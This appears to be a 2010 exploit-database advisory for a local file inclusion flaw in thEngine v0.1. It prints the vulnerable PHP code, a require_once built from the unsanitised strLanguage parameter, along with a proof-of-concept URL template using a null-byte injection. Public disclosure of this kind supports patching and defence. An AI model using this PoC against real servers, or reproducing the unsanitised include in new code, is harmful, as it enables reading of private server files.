Home / os / win7

thEngine v0.1 LFI Vulnerability

Posted on 04 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>thEngine v0.1 LFI Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===============================
thEngine v0.1 LFI Vulnerability
===============================

############################################################################
##                                    ##           
##      Download Script: http://sourceforge.net/projects/thengine/files/  ##
##                                    ##
##      Code [test.class.php]:                        ##
##                                    ##
############################################################################
            |||         |||
            |||         |||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xx  &lt;?php                                        xx
xx      /**                                     xx
xx      * thEngine                                  xx
xx      * Copyright (c) 2006 Thion, http://thion.jogger.pl              xx
xx      * This program is free software; you can redistribute it and/or modify  xx
xx      * it under the terms of the GNU Public General Public License as        xx
xx      * published by the Free Software Foundation; either version 2.1 of the  xx
xx      * License, or (at your option) any later version.                       xx
xx      */                                      xx
xx                                              xx
xx      require_once('languages/'.$strLanguage.'/test.class.php');          xx
xx      class test                                  xx
xx      {                                       xx
xx          public function __construct()                       xx
xx          {                                   xx
xx              global $opt;                            xx
xx              $opt -&gt; assign('message', TEST);                 xx
xx             $opt -&gt; display('test.tpl');                      xx
xx          }                                   xx
xx      }                                       xx
xx  ?&gt;                                       xx
xx                                          xx
xx       PoC: [thEngine_path]/modules/test/test.class.php?strLanguage=[LFI%00]      xx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-04]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :